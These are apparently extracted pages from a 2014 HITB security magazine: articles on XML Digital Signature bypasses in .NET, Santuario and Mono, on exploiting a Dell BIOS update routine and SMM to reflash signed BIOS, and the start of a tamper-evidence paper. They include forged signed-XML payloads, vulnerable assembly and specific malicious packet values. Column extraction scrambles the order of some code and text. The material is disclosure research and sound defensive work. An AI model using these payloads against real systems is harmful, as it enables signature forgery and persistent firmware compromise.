document if the processor parsed the document with DTDs enabled. It relies on
exploiting the differences between the XML DOM representation of a document and
the canonicalized form when the DOM node type Entity Reference is used.
The reason the implementation is vulnerable is for two reasons, firstly it does not
consider an empty list of references to be an error. That is to say when processing
the Signature element if no Reference elements are identified then the reference
validation stage automatically succeeds. This is in contrast to implementations such
as Santuario Java which throw an exception if a signature contains no references.
The XMLDSIG specification through their Schema and DTD definitions require at least
one Reference element [18] but clearly not all implementations honour that.
figure 23: DSIGSignedInfo.cpp Reference Loading Code
void DSIGSignedInfo::load(void) {
DOMNode * tmpSI = mp_signedInfoNode->getFirstChild();
// Load rest of SignedInfo....
// Now look at references....
tmpSI = tmpSI->getNextSibling();
// Run through the rest of the elements until done
}
while (tmpSI != 0 && (tmpSI->getNodeType() != DOMNode::ELEMENT_NODE))
// Skip text and comments
tmpSI = tmpSI->getNextSibling();
if (tmpSI != NULL) {
// Have an element node - should be a reference, so let's load the list
mp_referenceList = DSIGReference::loadReferenceListFromXML(mp_env, tmpSI);
}
140 HITB | Issue 10 | january 2014
SignatureValue
Element
SigMethod
Element
Reference
Element
While modifying the structure of the SignedInfo element should lead to failure in
signature verification it must be remembered that the element is put through the
canonicalization process. Reading the original specification for canonicalization
provides a clear example [20] that Entity Reference nodes are inserted in-line in the
canonical form. This means that although the Reference element is hidden from the
SignedInfo parser it reappears in the canonical form and ensures the signature is correct.
figure 25: Example Signed File With Reference Converted to Entity
<!DOCTYPE transaction [
<!ENTITY hackedref "<Reference URI=&#34;&#34;><Transforms>...">
]>
<transaction>
<payee>Mr Hacker</payee>
<amount>$100000000</amount>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
&hackedref;
</SignedInfo>
<SignatureValue>B9OL...</SignatureValue>
</Signature>
</transaction>
The result of the initial DOM parsing of the signature results in the following tree,
as the Reference element is no longer at the same level as the rest of the SignedInfo
children it is missed by the parsing code but the canonicalization process reintroduces
it for signature verification.
The Mono implementation would also have been vulnerable if not for a bug in their
canonicalization code. When processing the element child of the entity reference
it assumed that the parent must be another element. It then referenced the DOM
Application Security
The second reason is that the parsing of the Signature element does not take fully
into account all possible DOM node types when finding Reference elements. In the
following code snippet we see the loading of the SignedInfo element. First it reads
in all the other elements of the SignedInfo such as CanonicalizationMethod and
SignatureMethod. It then continues walking the sibling elements trying to find the next
element node type. As the comment implies, this is designed to skip text and comment
nodes, however if you look at the possible node types in the DOM level 1 specification
[19] this will also skip a more interesting node type, the Entity Reference.
C14NMethod
Element
SignedInfo
Element
january 2014 | Issue 10 | HITB 141
Application Security
figure 26: Modified Signature DOM Tree
The result is a clear difference as shown by the example output below:
figure 28: Output From Entity Reference Test
Signature
Element
C14NMethod
Element
Child: 'ent' EntityReference
XPath: 'child' Element
SignedInfo
Element
SignatureValue
Element
SigMethod
Element
Entity
Reference
This could introduce subtle security issues if DTD processing is enabled and is a
technique worth remembering when looking at other XML secure processing libraries.
Fortunately DTD processing should be disabled for most secure applications which
would effectively block this attack.
CVE-2013-1336: Canonicalization Algorithm Signature Bypass
Vulnerability
Affected: Microsoft .NET 2 and 4, Apache Santuario Java, Oracle JRE
Reference
Element
property Attributes to determine namespace information. In an Entity Reference node
this value is always null and the processor crashed with a NullReferenceException.
The technique to exploit vulnerability CVE-2013-2153 does have some other
interesting implications, specifically the way in which libraries handle entity
reference nodes when processing content through XPath versus direct parsing of
child nodes in the DOM tree.
In Microsoft .NET performing an XPath on an element for child nodes will return a list
of nodes ignoring the entity reference node. For example the following code firsts
iterates over the child nodes of the root element then selects out its children using
the XPath node() function.
using System;
using System.Xml;
class Program
{
static void Main(string[] args)
{
string xml =
@"<!DOCTYPE root [
<!ENTITY ent '<child/>'>
]>
<root>&ent;</root>";
XmlDocument doc = new XmlDocument();
doc.LoadXml(xml);
foreach (XmlNode node in doc.DocumentElement.ChildNodes)
{
Console.WriteLine("Child: '{0}' {1}", node.Name, node.NodeType);
}
}
}
142 HITB | Issue 10 | january 2014
foreach (XmlNode node in doc.DocumentElement.SelectNodes("node()"))
{
Console.WriteLine("XPath: '{0}' {1}", node.Name, node.NodeType);
}
As already mentioned, the XMLDSIG specification indicates which algorithms to use
by specifying unique Algorithm IDs. The approach the .NET implementation and
Apache Santuario Java took was to implement the canonicalization algorithms as
generic transforms, so that they could be easily reused in Reference processing, and
then the Algorithm ID is mapped to a specific class. This class is instantiated at run
time by looking up the ID in a dictionary and using the reflection APIs to create it.
This provides clear flexibility for the implementation of new canonicalization
algorithms but it leaves the implementations vulnerable to an attack where the
canonicalization algorithm is changed to the ID of a generic transform such as the
XSLT or Base64.
All Transforms in .NET are implementations of the Transform class [21]. The
canonicalization transform object is created using the following code within the
figure 29: Canonicalization Method Transform Object Creation
public Transform CanonicalizationMethodObject {
get {
if (m_canonicalizationMethodTransform == null) {
m_canonicalizationMethodTransform =
CryptoConfig.CreateFromName(this.CanonicalizationMethod) as Transform;
if (m_canonicalizationMethodTransform == null)
throw new CryptographicException();
m_canonicalizationMethodTransform.SignedXml = this.SignedXml;
m_canonicalizationMethodTransform.Reference = null;
}
return m_canonicalizationMethodTransform;
}
}
SignedInfo class which uses the CryptoConfig.CreateFromName [22] method.
The CryptoConfig.CreateFromName method takes the Algorithm ID and looks up
Application Security
figure 27: Entity Reference Test Code
This vulnerability would allow an attacker to take an existing signed file and modify
the signature so that it could be reapplied to any content. It was a vulnerability in
the way the CanonicalizationMethod element was handled, and how it created the
instance of the canonicalization object.
january 2014 | Issue 10 | HITB 143
Application Security
the implementing Type in a dictionary returning an instance of the Type. As no
checking was done of the Algorithm ID it is possible to replace that with any valid
ID and use that as the transform. The method also has an interesting fall back mode
when there are no registered names for the provided value. Both Mono and .NET
implementations will attempt to resolve the name string as a fully qualified .NET
type name, of the form: TypeName, AssemblyName. This means that any processor
of XMLDSIG elements can be made to load and instantiate any assembly and type as
long as it is within the search path for the .NET Assembly binder.
To exploit this using XSLT, first the attacker must take an existing signed document
and perform the original canonicalization process on the SignedInfo element.
This results in a UTF-8 byte stream containing the canonical XML. This can then
be placed into a XSL template which re-emits the original bytes of text. When the
implementation performs the canonicalization process the XSL template executes,
this returns the unmodified SignedInfo element which matches correctly against the
figure 30: Good Signed XML Document
signature value. As an example, consider the following “good” signed XML document
in Figure 30.
figure 31: Bad Signed XML Document
<transaction>
<payee>Mr. Hacker</payee>
<amount>$1,000,000</amount>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text" />
<xsl:template match="/">
<xsl:text disable-output-escaping="yes">
&lt;SignedInfo xmlns="http://www.w3.org/2000/09/xmldsig#"&gt;&lt;...</xsl:text>
</xsl:template>
</xsl:stylesheet>
</CanonicalizationMethod>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
144 HITB | Issue 10 | january 2014
By applying the process to the good XML document we get something of the following
form.
Mono would be vulnerable to this issue as they use the same technique for
creating the CanonicalizationMethod object. By luck, it was not vulnerable
because the implementation did not load the inner XML content from the
CanonicalizationMethod element.
It should be noted that a valid signed XML file might not be required to generate a
valid XSLT. For example, if an attacker had a DSA or RSA SHA1 signature for a text
file they would be able to instead emit the signed text content as the verification
processes in .NET or Santuario Java do not reparse the resulting XML content.
Conclusions
The fact that there were a number of serious security issues in common
implementations of XML Digital Signatures should be a cause for concern. While
certainly the specification does not help security matters by being overly flexible,
general purpose implementations can contain vulnerabilities which might affect the
ability of a processor to verify a signature correctly.
The main way of avoiding these sorts of vulnerabilities when using an implementation
is to double check the signature contents is as expected. This should be considered
best practice in any case but most of these issues would be mitigated by careful
processing. Doing this is not very well documented and most real-world users of
the libraries tend to implement verification processing after someone has found
exploitable vulnerabilities such as Signature Wrapping. ¶
Application Security
<transaction>
<payee>Bob Smith</payee>
<amount>$250</amount>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>B9OL...</SignatureValue>
</Signature>
</transaction>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
<DigestValue>BGmC...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>B9OL...</SignatureValue>
</Signature>
</transaction>
january 2014 | Issue 10 | HITB 145
Application Security
References
[1] J . Somorovsky, “How To Break XML Signature and XML Encryption,” [Online]. Available:
https://www.owasp.org/images/5/5a/07A_Breaking_XML_Signature_and_Encryption_-_Juraj_
Somorovsky.pdf.
[2] B
. Hill, “Attacking XML Security,” [Online]. Available: https://www.isecpartners.com/
media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf.
[3] The Apache Software Foundation, “Apache Santuario,” [Online]. Available: http://santuario.
apache.org/.
[4] A. Sanin, “XMLSec Library,” [Online]. Available: http://www.aleksey.com/xmlsec/.
[5] Microsoft Corporation, “Microsoft .NET,” [Online]. Available: http://www.microsoft.com/net.
[6] Mono, “Mono Project,” [Online]. Available: http://www.mono-project.com/.
[7] M
icrosoft Corporation, “.NET Framework Reference Source,” [Online]. Available: http://
referencesource.microsoft.com/netframework.aspx.
[8] M
icrosoft Corporation, “How to: Verify the Digital Signatures of XML Documents,” [Online].
Available: http://msdn.microsoft.com/en-us/library/ms229950(v=vs.110).aspx.
[9] O
racle, “XML Digital Signature API,” [Online]. Available: http://docs.oracle.com/javase/7/docs/
technotes/guides/security/xmldsig/XMLDigitalSignature.html.
[10] W
3C, “XML Digital Signature Specification,” 2008. [Online]. Available: http://www.w3.org/TR/
xmldsig-core/.
[11] W3C, “Canonical XML Version 1.0,” [Online]. Available: http://www.w3.org/TR/xml-c14n.
[12] W
3C, “Exclusive XML Canonicalization v1.0,” [Online]. Available: http://www.w3.org/TR/2002/
REC-xml-exc-c14n-20020718/.
[13] A. Sanin, “XMLSec Mailing List,” [Online]. Available: http://www.aleksey.com/pipermail/
xmlsec/2011/009120.html.
[14] W
3C, “Exclusive XML Canonicalization (4. Use in XML Security),” [Online]. Available: http://
www.w3.org/TR/2002/REC-xml-exc-c14n-20020718/#sec-Use.
[15] A. Osipov and T. Yunusov, “XML Out-of-band Data Retrieval,” 2013. [Online]. Available: http://
scadastrangelove.blogspot.co.uk/2013/03/black-hat-xxe-oob-slides-and-tools.html.
[16] W
3C, “XML Digitial Signature Errata: E03 HMAC Truncation,” [Online]. Available: http://www.
w3.org/2008/06/xmldsigcore-errata.html#e03.
[17] N
. Lawson and T. Nelson, “Blackhat 2010 - Exploiting Remote timing attacks,” [Online].
Available: http://www.youtube.com/watch?v=9i9jhPo9jTM.
[18] W
3C, “XML Digital Signature Specification (4.3 The SignedInfo Element),” [Online]. Available:
http://www.w3.org/TR/xmldsig-core/#sec-SignedInfo.
[19] W
3C, “DOM Level 1 Structure,” [Online]. Available: http://www.w3.org/TR/REC-DOM-Level-1/
level-one-core.html#ID-1590626201.
[20] W
3C, “XML Canonicalization v1.0 Entity Example,” [Online]. Available: http://www.w3.org/TR/
xml-c14n#Example-Entities.
[21] M
icrosoft Corporation, “System.Security.Xml.Cryptography.Transform class,” [Online].
Available: http://msdn.microsoft.com/en-us/library/system.security.cryptography.xml.
transform.aspx.
[22] M
icrosoft Corporation, “System.Security.Cryptography.CryptoConfig CreateFromName
method,” [Online]. Available: http://msdn.microsoft.com/en-us/library/381afeex.aspx.
146 HITB | Issue 10 | january 2014
Internet Security
Defeating Signed
BIOS Enforcement
Corey Kallenberg, [email protected]
John Butterworth, [email protected]
Xeno Kovah, [email protected]
Sam Cornwell, [email protected]
I
n this paper we evaluate the security mechanisms used to implement signed BIOS
enforcement on an Intel system. We then analyze the attack surface presented
by those security mechanisms. Intel provides several registers in its chipset
relevant to locking down the SPI flash chip that contains the BIOS in order to
prevent arbitrary writes. It is the responsibility of the BIOS to configure these SPI
flash protection registers correctly during power on. Furthermore, the OEM must
implement a BIOS update routine in conjunction with the Intel SPI flash protection
mechanisms. The BIOS update routine must be able to perform a firmware update in
a secure manner at the request of the user. It follows that the primary attack surfaces
against signed BIOS enforcement are the Intel protection mechanisms and the OEM
implementation of a signed BIOS update routine. In this paper we present an attack
on both of these primary attack vectors; an exploit that targets a vulnerability in the
Dell BIOS update routine, and a direct attack on the Intel protection mechanisms.
Both of these attacks allow arbitrary writes to the BIOS despite the presence of
signed BIOS enforcement on certain systems.
1. Introduction
The BIOS is the first code to execute on a platform during power on. BIOS’s
responsibilities include configuring the platform, initializing critical platform
components, and locating and transfering control to an operating system. Due
to its early execution, BIOS resident code is positioned to be able to compromise
every other component in the system bootup process. BIOS is also responsible for
configuring and instantiating System Management Mode (SMM), a highly privileged
mode of execution on the x86 platform. Thus any malware that controls the BIOS
is able to place arbitrary code into SMM. The BIOS’s residence on an SPI flash chip
means it will survive operating system reinstallations. These properties make the
BIOS a desirable residence for malware.
These results are dependent on an attacker being able to make arbitrary writes
to the SPI flash chip. However, most new computers either require BIOS updates
to be signed by default, or at least provide an option to enforce this policy. Signed
BIOS update enforcement would prevent the aforementioned attacks. Therefore, an
examination of the security of signed BIOS enforcement is necessary.
2. Related Work
Wojtczuk et al was the first attack against signed BIOS enforcement[9]. In their
attack, an integer overflow in the rendering of a customizable bootup splash screen
was exploited to gain control over the boot up process before the BIOS locks were
set. This allowed the BIOS to be reflashed with arbitrary contents.
148 HITB | Issue 10 | December 2013
Application Security
Although BIOS malware is an old topic, recent results that make use of BIOS
manipulations have once again renewed focus on the topic. Brossard showed that
implementing a BIOS rootkit may be easier than traditionally believed by making
use of opensource firmware projects such as coreboot[3]. Bulygin et al showed that
UEFI secure boot can be defeated if an attacker can write to the SPI flash chip
containing the system firmware[5]. The Trusted Platform Module (TPM) has recently
been adopted as a means for detecting firmware level malware, but Butterworth et
al showed that a BIOS rootkit can both subvert TPM measurements and survive BIOS
reflash attempts[6].
january 2014 | Issue 10 | HITB 149
Application Security
A related result was discovered by Bulygin where it was noticed that on a particular
ASUS system, firmware updates were signed, but the Intel flash protection
mechanisms were not properly configured[4]. Thus an attacker could bypass the
signed BIOS enforcement by skipping the official BIOS update process and just writing
to the flash chip directly.
3. Intel Protection Mechanisms
The Intel ICH documentation[7] provides a number of mechanisms for protecting the
SPI flash containing the BIOS from arbitrary writes. Chief among these are the BIOS
CNTL register and the Protected Range (PR) registers. Both are specified by the ICH
and are typically configured at power on by a BIOS that enforces the signed update
requirement. Either (or both) of these can be used to lock down the BIOS.
3.1 BIOS CNTL
The BIOS CNTL register contains 2 important bits in this regard. The BIOS Write
Enable (BWE) bit is a writeable bit defined as follows. If BWE is set to 0, the SPI flash
is readable but not writeable. If BWE is set to 1, the SPI flash is writeable. The BIOS
Lock Enable bit (BLE), if set, generates an System Management Interrupt (SMI) if
the BWE bit is written from a 0 to 1. The BLE bit can only bet set once, afterwards
it is only cleared during a platform reset. It is important to notice that the BIOS
CNTL register is not explicitly protecting the flash chip against writes. Instead, it
allows the OEM to establish an SMM routine to run in the event that the BIOS is made
writeable by setting the BWE bit. The expected mechanism of this OEM SMM routine
is for it to reset the BWE bit to 0 in the event of an illegitimate attempt to write
enable the BIOS. The OEM must provide an SMI handler that prevents setting of the
BWE bit in order for BIOS CNTL to properly write protect the BIOS.
3.2 Protected Range
3.3 Vendor Compliance
Using our Copernicus tool [1], we surveyed the SPI flash security configuration
of systems throughout our organization. Of the 5197 systems in our sample that
implemented signed BIOS enforcement, 4779 relied exclusively on the BIOS CNTL
register for protection. In other words, approximately 92% percent of systems did
not bother to implement the Protected Range registers.1
1 This number is somewhat skewed by the large portion of Dell systems in our sample, which never
seem to implement Protected Range registers. However, the issue is not exclusive to Dell.
150 HITB | Issue 10 | january 2014
The BIOS update process is initiated by the operating system. The operating system
first writes the new BIOS image to memory. Because the BIOS image may be several
megabytes in size, one single contiguous allocation in the physical address space
for accomodating the BIOS image may not be possible on systems with limited RAM.
Instead, the BIOS image may be broken up into smaller chunks before being written
to RAM. These small chunks are referred to as “rbu packets.”2 The rbu packets
include structural information such as size and sequence number that later allow
the BIOS update routine to reconstruct the complete BIOS image from the individual
packets. These rbu packets also include an ASCII signature “$RPK” that the BIOS
update routine searches for during a BIOS update.
FIGURE 1: BIOS update image reconstituted
Once the rbu packets have been
from rbu packets
written to the address space, the
operating system sets byte 0x78 in
CMOS and initiates a soft reboot.
During system startup BIOS checks
the status of CMOS byte 0x78 and
if set, triggers an SMI to execute
the SMM BIOS update routine. The
BIOS update routine then scans the
address space for rbu packets by
searcing for the ASCII signature
“$RPK.” The particular BIOS we
analyzed used physical address
0x101000 as the base of the area
in RAM where it would reconstruct
the incoming BIOS image from
the individual rbu packets. Upon discovering each rbu packet in the address space,
the update routine uses the rbu packet header information to determine where
to place that chunk of the BIOS image described by the current rbu packet in the
reconstruction space. Once all rbu packets have been discovered and the new BIOS
image has been reconstituted in the reconstruction area, the update routine verifies
that the new image is signed with the Dell private key. After the signature has been
verified, the new image is written to the flash chip.
5. Attacking Dell BIOS Update
Any vulnerabilities in the BIOS update process that can be exploited before the
signature check on the incoming image occurs, can lead to an arbitrary reflash on
the BIOS. Importantly, the update process is required to reconstruct the complete
update image from the individual rbu packets scattered across the address space
before a signature check can occur. Because the rbu packets are generated on the fly
by the operating system at runtime, the rbu packets are unsigned.
5.1 Dell BIOS Vulnerability Specifics
After examining the update routine’s parsing of rbu packets, a memory corruption
vulnerability was identified that stemmed from improper sanity checking on the
2 http://linux.dell.com/libsmbios/main/ RbuLowLevel_8h-source.html
Application Security
Intel specifies a number of Protected Range registers that can also protect the flash
chip against writes. These 32bit registers specify Protected Range Base and Protected
Range Limit fields that sets the relevant regions of the flash chip for the Write
Protection Enable and Read Protection Enable bits. When the Write Protection Enable
bit is set, the region of the flash chip defined by the Base and Limit fields is protected
against writes. Similarly, when the Read Protection Enable bit is set, that same region is
protected against read attempts. The HSFS.FLOCKDN bit, when set, prevents changes
to the Protected Range registers. Once set, HSFS.FLOCKDN can only be cleared by a
platform reset. The Protected Range registers in combination with the HSFS.FLOCKDN
bit are sufficient for protecting the flash chip against writes if configured correctly.
4. Dell BIOS Update Routine
january 2014 | Issue 10 | HITB 151
Application Security
unsigned rbu packet header. Upon discovery of an rbu packet, select members of
the rbu packet’s header are written to an SMRAM global data area for use in later
reconstruction calculations. The listing below shows this initial packet parsing.
mov eax, [eax] ;eax=rbu pkt
...
movzx ecx, word ptr [eax+8]
shl ecx, 4
mov ds:gHdrSize, ecx
movzx eax, word ptr [eax+4]
shl eax, 0Ah
sub eax, ecx
...
mov ds:g_pktSizeMinusHdrSize, eax
Next, the update routine uses the pktSize and pktNum members of the rbu packet to
determine where to write the packet in the reconstruction area. Insufficient sanity
checking is done on the pktNum, pktSize and hdrSize members before they are used
in the calculations for the inline memcpy parameters below. In fact, a malformed
rbu packet header can cause the below memcpy to overwrite SMRAM. If controlled
carefully, this can lead to an attacker gaining control of the instruction pointer in the
context of the BIOS update routine.
5.2 Exploitation of Dell
BIOS Vulnerability
The BIOS update routine executes
in the context ofSMM which is
absent of traditional exploit
mitigation technologies such as
DEP, stack canaries, ASLR, etc.
Because of this the attacker is free
to choose any available function
pointer for overwriting. However,
the attacker must carefully choose
152 HITB | Issue 10 | january 2014
To store the shellcode we abused the same RAM persistence property of a softreboot that is used by the BIOS update process itself. We used a Windows kernel
driver to allocate a contiguous portion of the physical address space in which to
store both our malicious rbu packet and our shellcode. After poisoning the physical
address space with our shellcode and rbu packet, a soft reboot of the system
successfully exploits the vulnerability. Our proof of concept shellcode simply
writes a message to the screen, but a weaponized payload would be able to reflash
the BIOS with a malicious image.
5.3 Dell BIOS Vulnerability Conclusion
The vulnerability described above was discovered on a Dell Latitude E6400 running BIOS
revision A29. After coordinating with Dell, the vulnerability was found to effect 22 other
Dell systems. This vulnerability has been assigned CVE number CVE-2013-3582[2]. After
working with Dell, the vulnerability was patched at revision A34 of the E6400 BIOS.
We can assume that a significant amount of BIOS update code on consumer systems
was developed before signed BIOS enforcement became popular. Because of this,
it is likely that the code for updating BIOS in a secure manner relies on legacy
code that was developed during a time when security of the BIOS was not a high
priority. Furthermore, BIOS code is generally propietary and has seen little peer
review. Because of these reasons, we suspect that more vulnerabilities like the one
presented here are lurking and waiting to be discovered in other vendor’s firmware.
6. Attacking Intel Protection Mechanisms
As noted in section 3.3, a majority of the systems we have surveyed opt to rely exclusively
on the BIOS CNTL protection bits to prevent malicious writes to the BIOS. This decision
entangles the security of the BIOS with the security of SMM. Any vulnerabilities that can
be exploited to gain access to SMM can now be leveraged into an arbitrary reflash of the
BIOS. To better illustrate this point, we will revisit an old vulnerability.
6.1 Cache Poisoning
In 2009 Loic Duflot and Wojtczuk discovered an Intel CPU cache poisoning attack
that allowed them to temporarily inject code into SMRAM[8][10]. This attack was
originally depicted as a temporary arbitrary code injection in SMRAM that would not
persist past a platform reset. However, on the majority of systems that do not employ
Protected Range registers, this vulnerability can be used to achieve an arbitrary
reflash of the BIOS. Furthermore, because the BIOS is responsible for instantiating
SMM, the cache poisoning attack then allows a permenant presence in SMM.
Application Security
xor edi, edi
mov di, cx ;di=pktNum
mov ecx, ds:g_pktSizeMinusHdrSize
dec edi
imul edi, ecx
add edi, 101000h
...
mov edx, ds:gHdrSize
push esi
shr edx, 2
lea esi, [eax+edx*4]
FIGURE 2: Malicious rbu packet causes
mov eax, ecx
reconstruction area to overlap with SMRAM
shr ecx, 2
rep movsd
how to control the overflow. Overwriting very large amounts of the address space
in this super priviledged mode of execution can be problematic. If the attacker
overwrites too much, or overwrites the wrong region of code, the system will hang
before 3 he has control of the instruction pointer. In our proof of concept, we chose
to overwrite the return address for the update routine itself. We used a brute force
search to derive a malicious rbu packet header that would allow us to overwrite this
return address without corrupting anything else that would cause the system to hang
before the overwritten return address was used. Our brute force search yielded an
rbu packet with a pktSize of 0xfffe and a pktNum of 0x83f9, which we verified would
successfully exploit the vulnerability.
january 2014 | Issue 10 | HITB 153
Application Security
The aforemention cache poisoning attack worked by programming the CPU Memory
Type Range Register (MTRR) to configure the region of memory containing SMRAM
to be Write Back cacheable. Once set to this cache policy, an attacker could pollute
cache lines corresponding to SMM code and then immediately generate an SMI. The
CPU would then begin executing in SMM and would consume the polluted cache lines
instead of fetching the legitimate SMM code from memory. The end result being
arbitrary code execution in the context of SMM.
On vulnerable systems, it is straight forward to use this attack to prevent the SMM
routine responsible for protecting the BWE bit on the BIOS CNTL register from
running. Once the cache line for this SMM routine is polluted, an attacker can then
set the BWE bit and it will stick. Malicious writes can then be made to the BIOS.
We have verified this attack to work against a Dell Latitude D630 running the latest
available BIOS revision3 with signed BIOS enforcement enabled. This particular
attack has been largely mitigated by the introduction of SMM Range Registers which,
when properly configured, prevent an attacker from arbitrarily changing the cache
policy of SMRAM. The particular instantiation of this attack that allows arbitrary BIOS
writes was reported to CERT and given tracking number VU#255726. The affected
vendors do not plan to release patches for their vulnerable systems due to ending
support for BIOS updates on these older systems.
6.2 Other SMM Attacks
Despite the cache poisoning attack being patched on modern systems, the important
point is that many signed BIOS enforcement implementations are weakened by
failing to implement Protected Range registers and instead relying exclusively on the
integrity of SMM for protection. There is a history of SMM break ins including some
theoretical proposals by Duflot[8] and another unique attack by Wojtczuk[9]. There
is reason to expect this trend to continue.
We found have another vulnerability that exploits this SMM BIOS CNTL entanglement
and allows for arbitrary BIOS reflashes. This vulnerability affects many new
UEFI systems that enforce signed BIOS update by default. This vulnerability has
been reported to CERT and been assigned tracking number VU #291102. Because
we are still working to contact effected vendors and help them mitigate the
vulnerability, we have chosen not to disclose the details of the vulnerability at
this time.
3 A17 at time of writing
4 A12 at time of writing
5 The Dell Latitude E6430 also fails to implement Protected Range registers.
154 HITB | Issue 10 | january 2014
Signed BIOS enforcement is an important access control that is necessary to prevent
malicious actors from gaining a foothold on the platform firmware. Unfortunately,
the history of computer security has provided us with many examples of access
controls failing. BIOS access controls such as signed firmware updates are no
different. Implementing a secure firmware update routine is a complicated software
engineering problem that provides plenty of opportunities for missteps. The code
that parses the incoming BIOS update must be developed without introducing bugs;
a challenge that remains elusive for software developers even today. The platform
firmware, including any update routines, are programmed in type unsafe languages.6
The update code is usually proprietary, complicated and difficult to find and debug
as a result of the environment it runs in. This combination of properties makes it
highly probable that exploitable vulnerabilities exist in firmware update routines, as
we have shown in the case of Dell BIOS.
The SPI flash protection mechanisms that Intel provides to guard the BIOS are complicated
and overlapping. A preliminary survey of systems in our enterprise environment reveals
that many vendors opt to rely exclusively on the BIOS CNTL protection of the BIOS. This
decision has greatly expanded the attack surface against the BIOS, to include all of the
vulnerabilities that SMM may contain. This problem is compounded by an increasingly
large SMM code base, a trend present even on new UEFI systems. In our opinion, OEMs
should start configuring the Protected Range registers to protect their SPI flash chips as
we believe this to be more robust protection than BIOS CNTL.
As with other facets of computer security, signed BIOS enforcement is a step in the right
direction. However, we must continually work to refine the strength of this access control
as new weaknesses are presented. Our hope is that the results presented in this paper
will contribute towards incremental improvements in vendor BIOS protection, that will
ultimately lead to signed BIOS enforcement being a robust and reliable protection. ¶
References
1. Copernicus: Question your assumptions about bios security. http://www.mitre.org/capabilities/
cybersecurity/ overview/cybersecurity-blog/ copernicus-question-your-assumptions-about.
Accessed: 10/01/2013.
2. Cve-2013-3582. http://www.kb.cert. org/vuls/id/912156. Accessed: 10/01/2013.
3. J. Brossard. Hardware backdooring is practical. In BlackHat, Las Vegas, USA, 2012.
4. Y. Bulygin. Evil maid just got angrier. In CanSecWest, Vancouver, Canada, 2013.
5. Y. Bulygin, A. Furtak, and O. Bazhaniuk. A tale of one software bypass of windows 8 secure
boot. In BlackHat, Las Vegas, USA, 2013.
6. J. Butterworth, C. Kallenberg, and X. Kovah. Bios chronomancy: Fixing the core root of trust for
measurement. In BlackHat, Las Vegas, USA, 2013.
7. Intel Corporation. Intel I/O Controller Hub 9 (ICH9) Family Datasheet. http://www.intel.com/
content/www/us/en/io/io-controller-hub-9-datasheet.html. Accessed: 10/01/2013.
8. Loc Duflot, Olivier Levillain, Benjamin Morin,and Olivier Grumelard. Getting into the
smram:Smm reloaded. Presented at CanSec West 2009, http://www.ssi.gouv.fr/IMG/pdf/
Cansec_final.pdf. Accessed: 02/01/2011.
9. R. Wojtczuk and A. Tereshkin. Attacking Intel BIOS. In BlackHat, Las Vegas, USA, 2009.
10. Rafal Wojtczuk and Joanna Rutkowska. Attacking smm memory via intel cpu cache poisoning.
http://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf. Accessed: 02/01/2011.
6 Generally C or handcoded assembly
Application Security
A cursory analysis of the EFI modules contained in a Dell Latitude E6430 firmware
volumes running the latest firmware revision4 reveals 495 individual EFI modules.
144 of these modules contain the “smm” substring and so presumably contribute at
least some code to run in SMM. Despite being of critical importance to the security
of the system, the SMM code base on new systems does not appear to be shrinking.
This is a disturbing trend. An exploitable vulnerability in any one of these SMM EFI
modules could potentially lead to an arbitrary BIOS reflash situation.5
7. Conclusion
january 2014 | Issue 10 | HITB 155
Computer Forensics
Dynamic
TamperEvidence for
Physical Layer
Protection
Eric Michaud, [email protected]
Ryan Lackey, [email protected]
THE PROBLEM
Users have become highly mobile, and expect to work with sensitive material or
communications in a variety of settings. While electronic devices are constantly
getting smaller, they’re still not small enough to be kept under a user’s direct physical
control at all times, particularly during travel.
Before pervasive computing, the system employed by governments and militaries
kept sensitive materials and devices in secure environments, and employed
trustworthy couriers to transport devices between secure environments. This is both
cost and labor intensive.1 Normal travelers routinely leave equipment like laptops,
156 HITB | Issue 10 | january 2014
tablets, etc. in hotel rooms or other locations where attackers posing as hotel maids
(the “Evil Maid” in the “Evil Maid Attack”2, literally) may have reliable multi-hour
surreptitious access on multiple occasions on a given trip.
Non-governmental users also face compelled handover of devices in a variety of
settings, especially during international travel. At a border, most normal rights of
residents in a country are suspended — in the United States, this extends to some
extent to a 100 mile border region within the country3. At borders, compelled
handover of all equipment, detailed physical inspection (ostensibly to detect
smuggling), loss of custody, etc. can be routine4. Certain travelers, such as David
Miranda, reported confiscations of devices on international trips5. In other cases,
governments waited for domestic travelers to schedule international travel, then
used the opportunity of a border search to do detailed searches under Customs laws
which would not have been permissible under normal rules of police procedure.6
THREAT MODEL
Our threat model is that faced by most business travelers to countries such as China
or the United States:
Computer Forensics
W
e present a novel technique for detecting unauthorized changes in physical
devices. Our system allows a trustworthy but nonspecialist end user to
use a trusted mobile device (e.g. a cellphone) and a remote networked
server to verify integrity of other devices left unattended and exposed to
an attacker. By providing assurance of physical integrity, we can depend upon trusted
computing techniques for firmware and software integrity, allowing users and remote
services to trust and decide which could not otherwise be trusted.
january 2014 | Issue 10 | HITB 157
Computer Forensics
● The user operating the device is honest but potentially lazy and unreliable.
Specifically, we can trust the user to not actively subvert the system, but he may
click through warnings or otherwise not be fully conscientious about potential
indicators of compromise. The user will only comply with security procedures
when guided by the technology, similar to password complexity requirements
vs. password complexity policy requirements.
● “Home base” servers are secure against compromise, both physical and logical.
